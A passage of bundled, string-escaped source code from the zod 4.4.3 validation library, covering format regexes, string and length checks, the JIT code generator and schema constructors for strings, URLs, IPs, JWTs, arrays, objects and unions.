`(?:(?:\\\\d\\\\d[2468][048]|\\\\d\\\\d[13579][26]|\\\\d\\\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\\\d|30)|(?:02)-(?:0[1-9]|1\\\\d|2[0-8])))`;\nconst date$1 = /*@__PURE__*/ new RegExp(`^${dateSource}$`);\nfunction timeSource(args) {\n const hhmm = `(?:[01]\\\\d|2[0-3]):[0-5]\\\\d`;\n return typeof args.precision === \"number\" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\\\d` : `${hhmm}:[0-5]\\\\d\\\\.\\\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\\\d(?:\\\\.\\\\d+)?)?`;\n}\nfunction time$1(args) {\n return new RegExp(`^${timeSource(args)}$`);\n}\nfunction datetime$1(args) {\n const time = timeSource({ precision: args.precision });\n const opts = [\"Z\"];\n if (args.local) opts.push(\"\");\n if (args.offset) opts.push(`([+-](?:[01]\\\\d|2[0-3]):[0-5]\\\\d)`);\n const timeRegex = `${time}(?:${opts.join(\"|\")})`;\n return new RegExp(`^${dateSource}T(?:${timeRegex})$`);\n}\nconst string$1 = (params) => {\n const regex = params ? `[\\\\s\\\\S]{${params?.minimum ?? 0},${params?.maximum ?? \"\"}}` : `[\\\\s\\\\S]*`;\n return new RegExp(`^${regex}$`);\n};\nconst number = /^-?\\d+(?:\\.\\d+)?$/;\nconst lowercase = /^[^A-Z]*$/;\nconst uppercase = /^[^a-z]*$/;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js\nconst $ZodCheck = /*@__PURE__*/ $constructor(\"$ZodCheck\", (inst, def) => {\n var _a;\n inst._zod ?? (inst._zod = {});\n inst._zod.def = def;\n (_a = inst._zod).onattach ?? (_a.onattach = []);\n});\nconst $ZodCheckMaxLength = /*@__PURE__*/ $constructor(\"$ZodCheckMaxLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.maximum ?? Number.POSITIVE_INFINITY;\n if (def.maximum < curr) inst._zod.bag.maximum = def.maximum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length <= def.maximum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_big\",\n maximum: def.maximum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckMinLength = /*@__PURE__*/ $constructor(\"$ZodCheckMinLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.minimum ?? Number.NEGATIVE_INFINITY;\n if (def.minimum > curr) inst._zod.bag.minimum = def.minimum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length >= def.minimum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_small\",\n minimum: def.minimum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLengthEquals = /*@__PURE__*/ $constructor(\"$ZodCheckLengthEquals\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.minimum = def.length;\n bag.maximum = def.length;\n bag.length = def.length;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n const length = input.length;\n if (length === def.length) return;\n const origin = getLengthableOrigin(input);\n const tooBig = length > def.length;\n payload.issues.push({\n origin,\n ...tooBig ? {\n code: \"too_big\",\n maximum: def.length\n } : {\n code: \"too_small\",\n minimum: def.length\n },\n inclusive: true,\n exact: true,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckStringFormat = /*@__PURE__*/ $constructor(\"$ZodCheckStringFormat\", (inst, def) => {\n var _a, _b;\n $ZodCheck.init(inst, def);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.format = def.format;\n if (def.pattern) {\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(def.pattern);\n }\n });\n if (def.pattern) (_a = inst._zod).check ?? (_a.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: def.format,\n input: payload.value,\n ...def.pattern ? { pattern: def.pattern.toString() } : {},\n inst,\n continue: !def.abort\n });\n });\n else (_b = inst._zod).check ?? (_b.check = () => {});\n});\nconst $ZodCheckRegex = /*@__PURE__*/ $constructor(\"$ZodCheckRegex\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"regex\",\n input: payload.value,\n pattern: def.pattern.toString(),\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLowerCase = /*@__PURE__*/ $constructor(\"$ZodCheckLowerCase\", (inst, def) => {\n def.pattern ?? (def.pattern = lowercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckUpperCase = /*@__PURE__*/ $constructor(\"$ZodCheckUpperCase\", (inst, def) => {\n def.pattern ?? (def.pattern = uppercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckIncludes = /*@__PURE__*/ $constructor(\"$ZodCheckIncludes\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const escapedRegex = escapeRegex(def.includes);\n const pattern = new RegExp(typeof def.position === \"number\" ? `^.{${def.position}}${escapedRegex}` : escapedRegex);\n def.pattern = pattern;\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.includes(def.includes, def.position)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"includes\",\n includes: def.includes,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckStartsWith = /*@__PURE__*/ $constructor(\"$ZodCheckStartsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.startsWith(def.prefix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"starts_with\",\n prefix: def.prefix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckEndsWith = /*@__PURE__*/ $constructor(\"$ZodCheckEndsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.endsWith(def.suffix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"ends_with\",\n suffix: def.suffix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckOverwrite = /*@__PURE__*/ $constructor(\"$ZodCheckOverwrite\", (inst, def) => {\n $ZodCheck.init(inst, def);\n inst._zod.check = (payload) => {\n payload.value = def.tx(payload.value);\n };\n});\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js\nvar Doc = class {\n constructor(args = []) {\n this.content = [];\n this.indent = 0;\n if (this) this.args = args;\n }\n indented(fn) {\n this.indent += 1;\n fn(this);\n this.indent -= 1;\n }\n write(arg) {\n if (typeof arg === \"function\") {\n arg(this, { execution: \"sync\" });\n arg(this, { execution: \"async\" });\n return;\n }\n const lines = arg.split(\"\\n\").filter((x) => x);\n const minIndent = Math.min(...lines.map((x) => x.length - x.trimStart().length));\n const dedented = lines.map((x) => x.slice(minIndent)).map((x) => \" \".repeat(this.indent * 2) + x);\n for (const line of dedented) this.content.push(line);\n }\n compile() {\n const F = Function;\n const args = this?.args;\n const lines = [...(this?.content ?? [``]).map((x) => ` ${x}`)];\n return new F(...args, lines.join(\"\\n\"));\n }\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js\nconst version = {\n major: 4,\n minor: 4,\n patch: 3\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js\nconst $ZodType = /*@__PURE__*/ $constructor(\"$ZodType\", (inst, def) => {\n var _a;\n inst ?? (inst = {});\n inst._zod.def = def;\n inst._zod.bag = inst._zod.bag || {};\n inst._zod.version = version;\n const checks = [...inst._zod.def.checks ?? []];\n if (inst._zod.traits.has(\"$ZodCheck\")) checks.unshift(inst);\n for (const ch of checks) for (const fn of ch._zod.onattach) fn(inst);\n if (checks.length === 0) {\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n inst._zod.deferred?.push(() => {\n inst._zod.run = inst._zod.parse;\n });\n } else {\n const runChecks = (payload, checks, ctx) => {\n let isAborted = aborted(payload);\n let asyncResult;\n for (const ch of checks) {\n if (ch._zod.def.when) {\n if (explicitlyAborted(payload)) continue;\n if (!ch._zod.def.when(payload)) continue;\n } else if (isAborted) continue;\n const currLen = payload.issues.length;\n const _ = ch._zod.check(payload);\n if (_ instanceof Promise && ctx?.async === false) throw new $ZodAsyncError();\n if (asyncResult || _ instanceof Promise) asyncResult = (asyncResult ?? Promise.resolve()).then(async () => {\n await _;\n if (payload.issues.length === currLen) return;\n if (!isAborted) isAborted = aborted(payload, currLen);\n });\n else {\n if (payload.issues.length === currLen) continue;\n if (!isAborted) isAborted = aborted(payload, currLen);\n }\n }\n if (asyncResult) return asyncResult.then(() => {\n return payload;\n });\n return payload;\n };\n const handleCanaryResult = (canary, payload, ctx) => {\n if (aborted(canary)) {\n canary.aborted = true;\n return canary;\n }\n const checkResult = runChecks(payload, checks, ctx);\n if (checkResult instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return checkResult.then((checkResult) => inst._zod.parse(checkResult, ctx));\n }\n return inst._zod.parse(checkResult, ctx);\n };\n inst._zod.run = (payload, ctx) => {\n if (ctx.skipChecks) return inst._zod.parse(payload, ctx);\n if (ctx.direction === \"backward\") {\n const canary = inst._zod.parse({\n value: payload.value,\n issues: []\n }, {\n ...ctx,\n skipChecks: true\n });\n if (canary instanceof Promise) return canary.then((canary) => {\n return handleCanaryResult(canary, payload, ctx);\n });\n return handleCanaryResult(canary, payload, ctx);\n }\n const result = inst._zod.parse(payload, ctx);\n if (result instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return result.then((result) => runChecks(result, checks, ctx));\n }\n return runChecks(result, checks, ctx);\n };\n }\n defineLazy(inst, \"~standard\", () => ({\n validate: (value) => {\n try {\n const r = safeParse$1(inst, value);\n return r.success ? { value: r.data } : { issues: r.error?.issues };\n } catch (_) {\n return safeParseAsync$1(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues });\n }\n },\n vendor: \"zod\",\n version: 1\n }));\n});\nconst $ZodString = /*@__PURE__*/ $constructor(\"$ZodString\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string$1(inst._zod.bag);\n inst._zod.parse = (payload, _) => {\n if (def.coerce) try {\n payload.value = String(payload.value);\n } catch (_) {}\n if (typeof payload.value === \"string\") return payload;\n payload.issues.push({\n expected: \"string\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nconst $ZodStringFormat = /*@__PURE__*/ $constructor(\"$ZodStringFormat\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n $ZodString.init(inst, def);\n});\nconst $ZodGUID = /*@__PURE__*/ $constructor(\"$ZodGUID\", (inst, def) => {\n def.pattern ?? (def.pattern = guid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodUUID = /*@__PURE__*/ $constructor(\"$ZodUUID\", (inst, def) => {\n if (def.version) {\n const v = {\n v1: 1,\n v2: 2,\n v3: 3,\n v4: 4,\n v5: 5,\n v6: 6,\n v7: 7,\n v8: 8\n }[def.version];\n if (v === void 0) throw new Error(`Invalid UUID version: \"${def.version}\"`);\n def.pattern ?? (def.pattern = uuid(v));\n } else def.pattern ?? (def.pattern = uuid());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodEmail = /*@__PURE__*/ $constructor(\"$ZodEmail\", (inst, def) => {\n def.pattern ?? (def.pattern = email);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodURL = /*@__PURE__*/ $constructor(\"$ZodURL\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n try {\n const trimmed = payload.value.trim();\n if (!def.normalize && def.protocol?.source === httpProtocol.source) {\n if (!/^https?:\\/\\//i.test(trimmed)) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid URL format\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n return;\n }\n }\n const url = new URL(trimmed);\n if (def.hostname) {\n def.hostname.lastIndex = 0;\n if (!def.hostname.test(url.hostname)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid hostname\",\n pattern: def.hostname.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.protocol) {\n def.protocol.lastIndex = 0;\n if (!def.protocol.test(url.protocol.endsWith(\":\") ? url.protocol.slice(0, -1) : url.protocol)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid protocol\",\n pattern: def.protocol.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.normalize) payload.value = url.href;\n else payload.value = trimmed;\n return;\n } catch (_) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodEmoji = /*@__PURE__*/ $constructor(\"$ZodEmoji\", (inst, def) => {\n def.pattern ?? (def.pattern = emoji());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodNanoID = /*@__PURE__*/ $constructor(\"$ZodNanoID\", (inst, def) => {\n def.pattern ?? (def.pattern = nanoid);\n $ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link $ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst $ZodCUID = /*@__PURE__*/ $constructor(\"$ZodCUID\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCUID2 = /*@__PURE__*/ $constructor(\"$ZodCUID2\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid2);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodULID = /*@__PURE__*/ $constructor(\"$ZodULID\", (inst, def) => {\n def.pattern ?? (def.pattern = ulid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodXID = /*@__PURE__*/ $constructor(\"$ZodXID\", (inst, def) => {\n def.pattern ?? (def.pattern = xid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodKSUID = /*@__PURE__*/ $constructor(\"$ZodKSUID\", (inst, def) => {\n def.pattern ?? (def.pattern = ksuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODateTime = /*@__PURE__*/ $constructor(\"$ZodISODateTime\", (inst, def) => {\n def.pattern ?? (def.pattern = datetime$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODate = /*@__PURE__*/ $constructor(\"$ZodISODate\", (inst, def) => {\n def.pattern ?? (def.pattern = date$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISOTime = /*@__PURE__*/ $constructor(\"$ZodISOTime\", (inst, def) => {\n def.pattern ?? (def.pattern = time$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODuration = /*@__PURE__*/ $constructor(\"$ZodISODuration\", (inst, def) => {\n def.pattern ?? (def.pattern = duration$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodIPv4 = /*@__PURE__*/ $constructor(\"$ZodIPv4\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv4);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv4`;\n});\nconst $ZodIPv6 = /*@__PURE__*/ $constructor(\"$ZodIPv6\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv6`;\n inst._zod.check = (payload) => {\n try {\n new URL(`http://[${payload.value}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"ipv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodCIDRv4 = /*@__PURE__*/ $constructor(\"$ZodCIDRv4\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv4);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCIDRv6 = /*@__PURE__*/ $constructor(\"$ZodCIDRv6\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n const parts = payload.value.split(\"/\");\n try {\n if (parts.length !== 2) throw new Error();\n const [address, prefix] = parts;\n if (!prefix) throw new Error();\n const prefixNum = Number(prefix);\n if (`${prefixNum}` !== prefix) throw new Error();\n if (prefixNum < 0 || prefixNum > 128) throw new Error();\n new URL(`http://[${address}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"cidrv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nfunction isValidBase64(data) {\n if (data === \"\") return true;\n if (/\\s/.test(data)) return false;\n if (data.length % 4 !== 0) return false;\n try {\n atob(data);\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodBase64 = /*@__PURE__*/ $constructor(\"$ZodBase64\", (inst, def) => {\n def.pattern ?? (def.pattern = base64);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64\";\n inst._zod.check = (payload) => {\n if (isValidBase64(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nfunction isValidBase64URL(data) {\n if (!base64url.test(data)) return false;\n const base64 = data.replace(/[-_]/g, (c) => c === \"-\" ? \"+\" : \"/\");\n return isValidBase64(base64.padEnd(Math.ceil(base64.length / 4) * 4, \"=\"));\n}\nconst $ZodBase64URL = /*@__PURE__*/ $constructor(\"$ZodBase64URL\", (inst, def) => {\n def.pattern ?? (def.pattern = base64url);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64url\";\n inst._zod.check = (payload) => {\n if (isValidBase64URL(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodE164 = /*@__PURE__*/ $constructor(\"$ZodE164\", (inst, def) => {\n def.pattern ?? (def.pattern = e164);\n $ZodStringFormat.init(inst, def);\n});\nfunction isValidJWT(token, algorithm = null) {\n try {\n const tokensParts = token.split(\".\");\n if (tokensParts.length !== 3) return false;\n const [header] = tokensParts;\n if (!header) return false;\n const parsedHeader = JSON.parse(atob(header));\n if (\"typ\" in parsedHeader && parsedHeader?.typ !== \"JWT\") return false;\n if (!parsedHeader.alg) return false;\n if (algorithm && (!(\"alg\" in parsedHeader) || parsedHeader.alg !== algorithm)) return false;\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodJWT = /*@__PURE__*/ $constructor(\"$ZodJWT\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n if (isValidJWT(payload.value, def.alg)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"jwt\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodUnknown = /*@__PURE__*/ $constructor(\"$ZodUnknown\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload) => payload;\n});\nconst $ZodNever = /*@__PURE__*/ $constructor(\"$ZodNever\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _ctx) => {\n payload.issues.push({\n expected: \"never\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nfunction handleArrayResult(result, final, index) {\n if (result.issues.length) final.issues.push(...prefixIssues(index, result.issues));\n final.value[index] = result.value;\n}\nconst $ZodArray = /*@__PURE__*/ $constructor(\"$ZodArray\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!Array.isArray(input)) {\n payload.issues.push({\n expected: \"array\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = Array(input.length);\n const proms = [];\n for (let i = 0; i < input.length; i++) {\n const item = input[i];\n const result = def.element._zod.run({\n value: item,\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => handleArrayResult(result, payload, i)));\n else handleArrayResult(result, payload, i);\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nfunction handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) {\n const isPresent = key in input;\n if (result.issues.length) {\n if (isOptionalIn && isOptionalOut && !isPresent) return;\n final.issues.push(...prefixIssues(key, result.issues));\n }\n if (!isPresent && !isOptionalIn) {\n if (!result.issues.length) final.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: void 0,\n path: [key]\n });\n return;\n }\n if (result.value === void 0) {\n if (isPresent) final.value[key] = void 0;\n } else final.value[key] = result.value;\n}\nfunction normalizeDef(def) {\n const keys = Object.keys(def.shape);\n for (const k of keys) if (!def.shape?.[k]?._zod?.traits?.has(\"$ZodType\")) throw new Error(`Invalid element at key \"${k}\": expected a Zod schema`);\n const okeys = optionalKeys(def.shape);\n return {\n ...def,\n keys,\n keySet: new Set(keys),\n numKeys: keys.length,\n optionalKeys: new Set(okeys)\n };\n}\nfunction handleCatchall(proms, input, payload, ctx, def, inst) {\n const unrecognized = [];\n const keySet = def.keySet;\n const _catchall = def.catchall._zod;\n const t = _catchall.def.type;\n const isOptionalIn = _catchall.optin === \"optional\";\n const isOptionalOut = _catchall.optout === \"optional\";\n for (const key in input) {\n if (key === \"__proto__\") continue;\n if (keySet.has(key)) continue;\n if (t === \"never\") {\n unrecognized.push(key);\n continue;\n }\n const r = _catchall.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (unrecognized.length) payload.issues.push({\n code: \"unrecognized_keys\",\n keys: unrecognized,\n input,\n inst\n });\n if (!proms.length) return payload;\n return Promise.all(proms).then(() => {\n return payload;\n });\n}\nconst $ZodObject = /*@__PURE__*/ $constructor(\"$ZodObject\", (inst, def) => {\n $ZodType.init(inst, def);\n if (!Object.getOwnPropertyDescriptor(def, \"shape\")?.get) {\n const sh = def.shape;\n Object.defineProperty(def, \"shape\", { get: () => {\n const newSh = { ...sh };\n Object.defineProperty(def, \"shape\", { value: newSh });\n return newSh;\n } });\n }\n const _normalized = cached(() => normalizeDef(def));\n defineLazy(inst._zod, \"propValues\", () => {\n const shape = def.shape;\n const propValues = {};\n for (const key in shape) {\n const field = shape[key]._zod;\n if (field.values) {\n propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set());\n for (const v of field.values) propValues[key].add(v);\n }\n }\n return propValues;\n });\n const isObject$2 = isObject;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$2(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = {};\n const proms = [];\n const shape = value.shape;\n for (const key of value.keys) {\n const el = shape[key];\n const isOptionalIn = el._zod.optin === \"optional\";\n const isOptionalOut = el._zod.optout === \"optional\";\n const r = el._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (!catchall) return proms.length ? Promise.all(proms).then(() => payload) : payload;\n return handleCatchall(proms, input, payload, ctx, _normalized.value, inst);\n };\n});\nconst $ZodObjectJIT = /*@__PURE__*/ $constructor(\"$ZodObjectJIT\", (inst, def) => {\n $ZodObject.init(inst, def);\n const superParse = inst._zod.parse;\n const _normalized = cached(() => normalizeDef(def));\n const generateFastpass = (shape) => {\n const doc = new Doc([\n \"shape\",\n \"payload\",\n \"ctx\"\n ]);\n const normalized = _normalized.value;\n const parseStr = (key) => {\n const k = esc(key);\n return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`;\n };\n doc.write(`const input = payload.value;`);\n const ids = Object.create(null);\n let counter = 0;\n for (const key of normalized.keys) ids[key] = `key_${counter++}`;\n doc.write(`const newResult = {};`);\n for (const key of normalized.keys) {\n const id = ids[key];\n const k = esc(key);\n const schema = shape[key];\n const isOptionalIn = schema?._zod?.optin === \"optional\";\n const isOptionalOut = schema?._zod?.optout === \"optional\";\n doc.write(`const ${id} = ${parseStr(key)};`);\n if (isOptionalIn && isOptionalOut) doc.write(`\n if (${id}.issues.length) {\n if (${k} in input) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n else if (!isOptionalIn) doc.write(`\n const ${id}_present = ${k} in input;\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n if (!${id}_present && !${id}.issues.length) {\n payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: undefined,\n path: [${k}]\n });\n }\n\n if (${id}_present) {\n if (${id}.value === undefined) {\n newResult[${k}] = undefined;\n } else {\n newResult[${k}] = ${id}.value;\n }\n }\n\n `);\n else doc.write(`\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n }\n doc.write(`payload.value = newResult;`);\n doc.write(`return payload;`);\n const fn = doc.compile();\n return (payload, ctx) => fn(shape, payload, ctx);\n };\n let fastpass;\n const isObject$1 = isObject;\n const jit = !globalConfig.jitless;\n const allowsEval$1 = allowsEval;\n const fastEnabled = jit && allowsEval$1.value;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$1(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n if (jit && fastEnabled && ctx?.async === false && ctx.jitless !== true) {\n if (!fastpass) fastpass = generateFastpass(def.shape);\n payload = fastpass(payload, ctx);\n if (!catchall) return payload;\n return handleCatchall([], input, payload, ctx, value, inst);\n }\n return superParse(payload, ctx);\n };\n});\nfunction handleUnionResults(results, final, inst, ctx) {\n for (const result of results) if (result.issues.length === 0) {\n final.value = result.value;\n return final;\n }\n const nonaborted = results.filter((r) => !aborted(r));\n if (nonaborted.length === 1) {\n final.value = nonaborted[0].value;\n return nonaborted[0];\n }\n final.issues.push({\n code: \"invalid_union\",\n input: final.value,\n inst,\n errors: results.map((result) => result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n });\n return final;\n}\nconst $ZodUnion = /*@__PURE__*/ $constructor(\"$ZodUnion\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.options.some((o) => o._zod.optin === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"optout\", () => def.options.some((o) => o._zod.optout === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"values\", () => {\n if (def.options.every((o) => o._zod.values)) return new Set(def.options.flatMap((option) => Array.from(option._zod.values)));\n });\n defineLazy(inst._zod, \"pattern\", () => {\n if (def.options.every((o) => o._zod.pattern)) {\n const patterns = def.options.map((o) => o._zod.pattern);\n return new 